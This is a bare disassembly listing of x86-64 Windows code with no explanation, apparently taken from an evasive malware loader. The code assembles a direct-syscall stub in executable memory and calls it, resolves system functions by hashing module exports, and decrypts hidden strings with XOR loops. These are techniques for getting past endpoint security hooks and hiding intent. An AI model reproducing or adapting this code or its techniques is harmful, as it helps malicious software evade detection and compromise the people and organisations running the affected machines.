lea r9, [rsp + 0xa728]
lea r8, [rsp + 0x2840]
lea rdx, [rsp + 0x128f8]
mov rcx, qword [rsp + 0xa730]
call fcn.140098320
lea rcx, [rsp + 0xfbb0]
call fcn.1400a0f80
lea rcx, [rsp + 0x4000]
call fcn.1400a2c10
mov qword [rsp + 0xa738], rax
mov rax, qword [rsp + 0xa738]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2848], eax
mov eax, dword [rsp + 0x2848]
mov dword [rsp + 0x666c], eax
lea rax, [rsp + 0x6670]
mov qword [rsp + 0xa740], rax
mov eax, dword [rsp + 0x666c]
mov dword [rsp + 0x2850], eax
mov rax, qword [rsp + 0xa740]
add rax, 0x11
mov qword [rsp + 0xa748], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xa748]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2850]
mov dword [rax], ecx
lea rax, [rsp + 0x6670]
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x658]
add rax, 0x10
mov qword [rsp + 0x116a8], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xa750], rax
mov qword [rsp + 0x4c68], 0
mov qword [rsp + 0xa758], 0xd
mov rax, qword [rsp + 0xa750]
mov qword [rsp + 0xa760], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xa758]
xor r8d, r8d
lea rdx, [rsp + 0x4c68]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xa760]
mov dword [rsp + 0x2858], eax
cmp dword [rsp + 0x2858], 0
jl 0x1401409d7
mov rax, qword [rsp + 0x4c68]
mov qword [rsp + 0x4c70], rax
jmp 0x1401409e3
mov qword [rsp + 0x4c70], 0
mov rax, qword [rsp + 0x4c70]
mov qword [rsp + 0xa768], rax
mov rax, qword [rsp + 0x658]
mov rcx, qword [rsp + 0xa768]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x658]
cmp qword [rax + 8], 0
jne 0x140140a18
jmp 0x140140a5c
mov rax, qword [rsp + 0x658]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x658]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x658]
mov rcx, qword [rsp + 0x658]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6670]
mov qword [rsp + 0xa7c0], rax
mov rax, qword [rsp + 0xa770]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xa778]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa780]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa788]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa790]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa798]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa7a0]
mov r8, qword [rsp + 0xa7a8]
mov rdx, qword [rsp + 0xa7b0]
mov rcx, qword [rsp + 0xa7b8]
call qword [rsp + 0xa7c0]
mov dword [rsp + 0x285c], eax
lea rcx, [rsp + 0x6668]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x285c]
mov dword [rsp + 0x2860], eax
cmp dword [rsp + 0x2860], 0
jge 0x140140b17
mov byte [rsp + 0x86], 0
jmp 0x140140b1f
mov byte [rsp + 0x86], 1
movzx eax, byte [rsp + 0x86]
test eax, eax
jne 0x140140b56
mov dword [rsp + 0x2864], 0
lea rcx, [rsp + 0x13c8]
call fcn.1400a0fc0
mov eax, dword [rsp + 0x2864]
mov dword [rsp + 0x9c], eax
jmp 0x140141d78
xor eax, eax
mov word [rsp + 0x4350], ax
lea rax, [rsp + 0x4350]
mov qword [rsp + 0x4c78], rax
mov rax, qword [rsp + 0x13b0]
add rax, 0x58
mov qword [rsp + 0x4c80], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0xa808], rax
cmp qword [rsp + 0x4c80], 0
je 0x140140bb2
cmp qword [rsp + 0x4c78], 0
je 0x140140bb2
xor eax, eax
cmp rax, 0x10
jne 0x140140bbf
mov byte [rsp + 0x87], 0
jmp 0x140141d1e
lea rax, [rsp + 0xd9d0]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd9d0], 0x33
mov rax, qword [rsp + 0x4c78]
mov qword [rsp + 0xd9e0], rax
mov rax, qword [rsp + 0x4c80]
mov qword [rsp + 0xd9e8], rax
mov qword [rsp + 0xd9f0], 0x10
mov dword [rsp + 0x28ac], 0
mov qword [rsp + 0xa7d0], 0
mov qword [rsp + 0xa7d8], 0x28
lea rax, [rsp + 0xd9d0]
mov qword [rsp + 0xa7e0], rax
lea rax, [rsp + 0x12908]
mov qword [rsp + 0xa7e8], rax
mov qword [rsp + 0xa7f0], 0
mov qword [rsp + 0xa7f8], 0
mov qword [rsp + 0xa800], 0
mov dword [rsp + 0x2868], 0x9363e455
mov eax, dword [rsp + 0x2868]
mov dword [rsp + 0x2870], eax
lea rcx, [rsp + 0x2870]
call fcn.1400a2c20
mov dword [rsp + 0x6690], eax
mov dword [rsp + 0x6694], 0
lea rax, [rsp + 0x6698]
mov qword [rsp + 0xa7c8], rax
mov dword [rsp + 0x28a8], 0x49
mov dword [rsp + 0x28a4], 0x89
mov dword [rsp + 0x28a0], 0xca
mov dword [rsp + 0x289c], 0x48
mov dword [rsp + 0x2898], 0xc7
mov dword [rsp + 0x2894], 0xc0
mov dword [rsp + 0x2890], 0x3f
mov dword [rsp + 0x288c], 0x10
mov dword [rsp + 0x2888], 0
mov dword [rsp + 0x2884], 0
mov dword [rsp + 0x2880], 0xf
mov dword [rsp + 0x287c], 5
mov dword [rsp + 0x2878], 0xc3
lea rax, [rsp + 0x2878]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x287c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2880]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2884]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2888]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x288c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2890]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2894]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2898]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x289c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x28a0]
lea r8, [rsp + 0x28a4]
lea rdx, [rsp + 0x28a8]
mov rcx, qword [rsp + 0xa7c8]
call fcn.14008f900
mov byte [rsp + 0x378], 1
mov byte [rsp + 0x379], 0
movsxd rax, dword [rsp + 0x28ac]
mov qword [rsp + 0xa940], rax
mov byte [rsp + 0x37a], 0
mov byte [rsp + 0x37b], 0
mov rax, qword [rsp + 0xa7d0]
mov qword [rsp + 0xa948], rax
mov byte [rsp + 0x37c], 0
mov byte [rsp + 0x37d], 1
mov rax, qword [rsp + 0xa7d8]
mov qword [rsp + 0xa950], rax
mov byte [rsp + 0x37e], 0
mov byte [rsp + 0x37f], 0
mov rax, qword [rsp + 0xa7e0]
mov qword [rsp + 0xa958], rax
mov byte [rsp + 0x380], 0
mov byte [rsp + 0x381], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xa960], rax
mov byte [rsp + 0x382], 0
mov byte [rsp + 0x383], 0
mov rax, qword [rsp + 0xa7e8]
mov qword [rsp + 0xa968], rax
mov byte [rsp + 0x384], 0
mov byte [rsp + 0x385], 0
mov rax, qword [rsp + 0xa7f0]
mov qword [rsp + 0xa970], rax
mov byte [rsp + 0x386], 0
mov byte [rsp + 0x387], 0
mov rax, qword [rsp + 0xa7f8]
mov qword [rsp + 0xa978], rax
mov byte [rsp + 0x388], 0
mov byte [rsp + 0x389], 0
mov rax, qword [rsp + 0xa800]
mov qword [rsp + 0xa980], rax
mov byte [rsp + 0x38a], 0
mov byte [rsp + 0x38b], 0
mov rax, qword [rsp + 0xa808]
mov qword [rsp + 0xa988], rax
mov eax, dword [rsp + 0x6690]
mov dword [rsp + 0x28b0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfbc0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa810], rax
lea r8, [rsp + 0x28b0]
lea rdx, [rsp + 0x4c88]
mov rcx, qword [rsp + 0xa810]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa818], rax
lea rdx, [rsp + 0x116b0]
mov rcx, qword [rsp + 0xa818]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x4c88]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140140fd0
mov qword [rsp + 0x4c90], 0
jmp 0x140140fe9
lea rcx, [rsp + 0x4c88]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4c90], rax
mov rax, qword [rsp + 0x4c90]
mov qword [rsp + 0xa820], rax
lea rcx, [rsp + 0xfbc0]
call fcn.1400a0f10
mov rax, qword [rsp + 0xa820]
mov qword [rsp + 0x4c98], rax
cmp qword [rsp + 0x4c98], 0
je 0x140141046
mov rax, qword [rsp + 0x4c98]
mov eax, dword [rax + 4]
mov dword [rsp + 0x28b8], eax
mov eax, dword [rsp + 0x28b8]
mov dword [rsp + 0x6694], eax
jmp 0x140141ad4
lea rax, [rsp + 0xd51c]
mov qword [rsp + 0xa828], rax
xor edx, edx
mov rcx, qword [rsp + 0xa828]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x28bc], eax
lea rax, [rsp + 0xd520]
mov qword [rsp + 0xa830], rax
mov edx, dword [rsp + 0x6690]
mov rcx, qword [rsp + 0xa830]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x28c0], eax
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0xc38], eax
mov eax, dword [rsp + 0x28c0]
mov dword [rsp + 0xc50], eax
xor edx, edx
lea rcx, [rsp + 0x28c4]
call fcn.14009b2f0
lea rdx, [rsp + 0x28c4]
lea rcx, [rsp + 0xc50]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x1401410f3
mov qword [rsp + 0x13c0], 0
jmp 0x1401419f2
mov byte [rsp + 0x38c], 1
mov qword [rsp + 0x69e0], 0
mov qword [rsp + 0x69e8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x4008], rax
mov eax, 1
test eax, eax
je 0x140141145
mov rax, qword [rsp + 0x4008]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4ca0], rax
jmp 0x140141158
mov rax, qword [rsp + 0x4008]
mov rax, qword [rax]
mov qword [rsp + 0x4ca0], rax
mov rax, qword [rsp + 0x4ca0]
mov qword [rsp + 0x69e0], rax
mov rax, qword [rsp + 0x4008]
mov qword [rsp + 0x69e8], rax
lea rax, [rsp + 0x69e0]
mov qword [rsp + 0x4ca8], rax
lea rdx, [rsp + 0x13b8]
mov rcx, qword [rsp + 0x4ca8]
call fcn.14018efb0
lea rdx, [rsp + 0xa838]
mov rcx, qword [rsp + 0x4ca8]
call fcn.140190a30
jmp 0x1401411c7
mov rax, qword [rsp + 0x13b8]
mov rax, qword [rax]
mov qword [rsp + 0x13b8], rax
mov rax, qword [rsp + 0xa838]
cmp qword [rsp + 0x13b8], rax
je 0x1401411e6
mov dword [rsp + 0xc34], 1
jmp 0x1401411f1
mov dword [rsp + 0xc34], 0
movzx eax, byte [rsp + 0xc34]
test eax, eax
je 0x1401419e6
xor edx, edx
mov rcx, qword [rsp + 0x13b8]
call fcn.140096d90
mov qword [rsp + 0xa840], rax
lea rax, [rsp + 0xa840]
mov qword [rsp + 0x4cb0], rax
xor edx, edx
lea rcx, [rsp + 0x28c8]
call fcn.14009b2f0
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0xc38]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140141491
mov rax, qword [rsp + 0x4cb0]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xa848], rax
lea rdx, [rsp + 0x12918]
mov rcx, qword [rsp + 0xa848]
call fcn.14019acf0
lea rcx, [rsp + 0xfbd0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xc38]
mov dword [rsp + 0x28cc], eax
lea rax, [rsp + 0xd340]
lea rcx, [rsp + 0xfbd0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x28cc]
mov dword [rsp + 0xc40], eax
lea rax, [rsp + 0x28d0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x28d0]
call fcn.14009b310
mov qword [rsp + 0xa850], rax
lea rax, [rsp + 0xfbe0]
lea rcx, [rsp + 0xd340]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfbf0]
lea rcx, [rsp + 0xfbe0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfbf0]
mov rcx, qword [rsp + 0xa850]
call fcn.140097890
mov dword [rsp + 0x28d8], eax
lea rcx, [rsp + 0xd340]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xa858], rax
mov r9, qword [rsp + 0xa858]
xor r8d, r8d
lea rdx, [rsp + 0xfc00]
lea rcx, [rsp + 0xd340]
call fcn.14019ab70
lea rax, [rsp + 0x28d4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x28d4]
call fcn.14009b310
mov qword [rsp + 0xa860], rax
lea rax, [rsp + 0xfc10]
lea rcx, [rsp + 0xfc00]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfc20]
lea rcx, [rsp + 0xfc10]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfc20]
mov rcx, qword [rsp + 0xa860]
call fcn.140097890
mov dword [rsp + 0x28e0], eax
mov edx, dword [rsp + 0x28d8]
lea rcx, [rsp + 0x28dc]
call fcn.14009b2f0
lea rdx, [rsp + 0x28dc]
lea rcx, [rsp + 0xc40]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140141475
mov edx, dword [rsp + 0x28e0]
lea rcx, [rsp + 0x28e4]
call fcn.14009b2f0
lea rdx, [rsp + 0x28e4]
lea rcx, [rsp + 0xc40]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140141475
mov dword [rsp + 0xc48], 1
jmp 0x140141480
mov dword [rsp + 0xc48], 0
movzx eax, byte [rsp + 0xc48]
test eax, eax
je 0x140141491
jmp 0x1401411b4
mov rax, qword [rsp + 0x4cb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5f20], rax
mov rax, qword [rsp + 0x5f20]
mov qword [rsp + 0x4508], rax
mov rax, qword [rsp + 0x5f20]
mov qword [rsp + 0xa868], rax
mov rax, qword [rsp + 0xa868]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa870], rax
mov rax, qword [rsp + 0xa870]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xa878], rax
mov eax, dword [rsp + 0xa878]
add rax, qword [rsp + 0x4508]
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0xa880]
mov qword [rsp + 0x4510], rax
lea rdx, [rsp + 0xc50]
lea rcx, [rsp + 0xd524]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11e80]
lea rcx, [rsp + 0x4508]
call fcn.140097040
lea rdx, [rsp + 0x139e8]
lea rcx, [rsp + 0x4508]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11e80]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14014157d
jmp 0x1401411b4
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140141600
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11e90]
mov qword [rsp + 0x5f28], rax
mov rcx, qword [rsp + 0x5f28]
call fcn.140097960
mov qword [rsp + 0x116b8], rax
mov rcx, qword [rsp + 0x5f28]
call fcn.140097950
mov qword [rsp + 0x4018], rax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov qword [rsp + 0x5f48], rax
mov rax, qword [rsp + 0x4508]
mov qword [rsp + 0xa888], rax
mov rax, qword [rsp + 0xa888]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa890], rax
mov rax, qword [rsp + 0xa890]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5f38], rax
mov eax, dword [rsp + 0x5f38]
add rax, qword [rsp + 0x4508]
mov qword [rsp + 0x5f40], rax
mov eax, dword [rsp + 0x5f3c]
mov rcx, qword [rsp + 0x5f40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa898], rax
mov rax, qword [rsp + 0x5f40]
cmp qword [rsp + 0x5f48], rax
jb 0x1401416f2
mov rax, qword [rsp + 0xa898]
cmp qword [rsp + 0x5f48], rax
jae 0x1401416f2
mov dword [rsp + 0xc58], 1
jmp 0x1401416fd
mov dword [rsp + 0xc58], 0
movzx eax, byte [rsp + 0xc58]
mov byte [rsp + 0xf7], al
movzx eax, byte [rsp + 0xf7]
test eax, eax
je 0x1401419cc
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov qword [rsp + 0xa8a0], rax
mov rax, qword [rsp + 0xa8a0]
mov qword [rsp + 0xa8a8], rax
lea rax, [rsp + 0x12bb8]
mov qword [rsp + 0xa8b0], rax
mov rdx, qword [rsp + 0xa8a8]
mov rcx, qword [rsp + 0xa8b0]
call fcn.140095590
lea rcx, [rsp + 0x69f0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x69f0]
call fcn.140191090
mov qword [rsp + 0x4010], rax
cmp qword [rsp + 0x4010], 0xffffffffffffffff
je 0x140141807
mov r9, qword [rsp + 0x4010]
xor r8d, r8d
lea rdx, [rsp + 0xfc40]
lea rcx, [rsp + 0x69f0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x4010]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xfc30]
lea rcx, [rsp + 0x69f0]
call fcn.14019aaa0
lea r8, [rsp + 0xfc30]
lea rdx, [rsp + 0xfc40]
lea rcx, [rsp + 0x112d0]
call fcn.14008f7e0
jmp 0x140141842
lea rax, [rsp + 0x69f0]
mov qword [rsp + 0xa8b8], rax
lea rcx, [rsp + 0xfc50]
call fcn.140099fb0
lea r8, [rsp + 0xfc50]
mov rdx, qword [rsp + 0xa8b8]
lea rcx, [rsp + 0x112d0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x112d0]
call fcn.140097960
mov qword [rsp + 0xa8c0], rax
lea rcx, [rsp + 0x112d0]
call fcn.140097950
mov qword [rsp + 0xa8d8], rax
lea rax, [rsp + 0xd528]
mov qword [rsp + 0xa8d0], rax
lea rax, [rsp + 0x28e8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x28e8]
call fcn.14009b310
mov qword [rsp + 0xa8c8], rax
lea rax, [rsp + 0xfc60]
mov rdi, rax
mov rsi, qword [rsp + 0xa8c0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfc70]
lea rcx, [rsp + 0xfc60]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfc70]
mov rcx, qword [rsp + 0xa8c8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa8d0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x28f0], eax
lea rax, [rsp + 0xd52c]
mov qword [rsp + 0xa8e8], rax
lea rax, [rsp + 0x28ec]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x28ec]
call fcn.14009b310
mov qword [rsp + 0xa8e0], rax
lea rax, [rsp + 0xfc80]
mov rdi, rax
mov rsi, qword [rsp + 0xa8d8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfc90]
lea rcx, [rsp + 0xfc80]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfc90]
mov rcx, qword [rsp + 0xa8e0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa8e8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x28f4], eax
mov r8d, dword [rsp + 0x28f0]
mov edx, dword [rsp + 0x28f4]
lea rcx, [rsp + 0x4020]
call fcn.140191150
mov qword [rsp + 0x13c0], rax
jmp 0x1401419f2
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov qword [rsp + 0x13c0], rax
jmp 0x1401419f2
mov qword [rsp + 0x13c0], 0
mov rax, qword [rsp + 0x13c0]
mov qword [rsp + 0x4020], rax
lea rcx, [rsp + 0x4020]
call fcn.1400a2c10
mov qword [rsp + 0xa8f0], rax
mov eax, dword [rsp + 0x6690]
mov dword [rsp + 0x28f8], eax
mov rax, qword [rsp + 0xa8f0]
mov qword [rsp + 0xa8f8], rax
mov eax, dword [rsp + 0x28f8]
mov dword [rsp + 0x2900], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfca0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa900], rax
lea r9, [rsp + 0xa8f8]
lea r8, [rsp + 0x2900]
lea rdx, [rsp + 0x12938]
mov rcx, qword [rsp + 0xa900]
call fcn.140098320
lea rcx, [rsp + 0xfca0]
call fcn.1400a0f80
lea rcx, [rsp + 0x4020]
call fcn.1400a2c10
mov qword [rsp + 0xa908], rax
mov rax, qword [rsp + 0xa908]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2908], eax
mov eax, dword [rsp + 0x2908]
mov dword [rsp + 0x6694], eax
lea rax, [rsp + 0x6698]
mov qword [rsp + 0xa910], rax
mov eax, dword [rsp + 0x6694]
mov dword [rsp + 0x2910], eax
mov rax, qword [rsp + 0xa910]
add rax, 0x11
mov qword [rsp + 0xa918], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xa918]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2910]
mov dword [rax], ecx
lea rax, [rsp + 0x6698]
mov qword [rsp + 0x668], rax
mov rax, qword [rsp + 0x668]
add rax, 0x10
mov qword [rsp + 0x116c0], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xa920], rax
mov qword [rsp + 0x5f50], 0
mov qword [rsp + 0xa928], 0xd
mov rax, qword [rsp + 0xa920]
mov qword [rsp + 0xa930], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xa928]
xor r8d, r8d
lea rdx, [rsp + 0x5f50]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xa930]
mov dword [rsp + 0x2918], eax
cmp dword [rsp + 0x2918], 0
jl 0x140141bd6
mov rax, qword [rsp + 0x5f50]
mov qword [rsp + 0x5f58], rax
jmp 0x140141be2
mov qword [rsp + 0x5f58], 0
mov rax, qword [rsp + 0x5f58]
mov qword [rsp + 0xa938], rax
mov rax, qword [rsp + 0x668]
mov rcx, qword [rsp + 0xa938]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x668]
cmp qword [rax + 8], 0
jne 0x140141c17
jmp 0x140141c5b
mov rax, qword [rsp + 0x668]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x668]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x668]
mov rcx, qword [rsp + 0x668]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6698]
mov qword [rsp + 0xa990], rax
mov rax, qword [rsp + 0xa940]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xa948]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa950]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa958]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa960]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa968]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa970]
mov r8, qword [rsp + 0xa978]
mov rdx, qword [rsp + 0xa980]
mov rcx, qword [rsp + 0xa988]
call qword [rsp + 0xa990]
mov dword [rsp + 0x291c], eax
lea rcx, [rsp + 0x6690]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x291c]
mov dword [rsp + 0x2920], eax
cmp dword [rsp + 0x2920], 0
jge 0x140141d16
mov byte [rsp + 0x87], 0
jmp 0x140141d1e
mov byte [rsp + 0x87], 1
movzx eax, byte [rsp + 0x87]
test eax, eax
jne 0x140141d52
mov dword [rsp + 0x2924], 0
lea rcx, [rsp + 0x13c8]
call fcn.1400a0fc0
mov eax, dword [rsp + 0x2924]
mov dword [rsp + 0x9c], eax
jmp 0x140141d78
mov dword [rsp + 0x2928], 1
lea rcx, [rsp + 0x13c8]
call fcn.1400a0fc0
mov eax, dword [rsp + 0x2928]
mov dword [rsp + 0x9c], eax
cmp dword [rsp + 0x9c], 0
jne 0x140141db5
mov rcx, qword [rsp + 0xa8]
call fcn.140187c80
mov qword [rsp + 0xa998], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.1400a0d90
mov rax, qword [rsp + 0xa998]
jmp 0x140158d4c
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xa0], rax
lea rdx, [rsp + 0x11ab0]
lea rcx, [rsp + 0x461]
call fcn.1400a45d0
mov qword [rsp + 0x13d0], rax
mov eax, 1
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x13d0]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140141e08
mov dword [rsp + 0xc5c], 1
jmp 0x140141e13
mov dword [rsp + 0xc5c], 0
movzx eax, byte [rsp + 0xc5c]
test eax, eax
je 0x140141e95
mov dword [rsp + 0x118], 0
jmp 0x140141e3c
mov eax, dword [rsp + 0x118]
inc eax
mov dword [rsp + 0x118], eax
cmp dword [rsp + 0x118], 0xd
jge 0x140141e95
movsxd rax, dword [rsp + 0x118]
mov rcx, qword [rsp + 0x13d0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x292c], eax
mov eax, dword [rsp + 0x118]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x292c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x118]
mov rdx, qword [rsp + 0x13d0]
mov byte [rdx + rcx], al
jmp 0x140141e2c
mov rax, qword [rsp + 0x13d0]
mov rdx, rax
lea rcx, [rsp + 0x11a50]
call fcn.14006f790
nop
lea rcx, [rsp + 0x11a50]
call fcn.1400f6a60
mov qword [rsp + 0x1108], rax
lea rcx, [rsp + 0x11a50]
call fcn.140072190
cmp qword [rsp + 0x1108], 0
jne 0x140141ee5
mov byte [rsp + 0x70], 1
jmp 0x140158cee
lea rdx, [rsp + 0x11926]
lea rcx, [rsp + 0x38d]
call fcn.1400ad4d0
mov qword [rsp + 0x13d8], rax
mov eax, 1
imul rax, rax, 9
mov rcx, qword [rsp + 0x13d8]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140141f28
mov dword [rsp + 0xc60], 1
jmp 0x140141f33
mov dword [rsp + 0xc60], 0
movzx eax, byte [rsp + 0xc60]
test eax, eax
je 0x140141fb5
mov dword [rsp + 0x11c], 0
jmp 0x140141f5c
mov eax, dword [rsp + 0x11c]
inc eax
mov dword [rsp + 0x11c], eax
cmp dword [rsp + 0x11c], 0xa
jge 0x140141fb5
movsxd rax, dword [rsp + 0x11c]
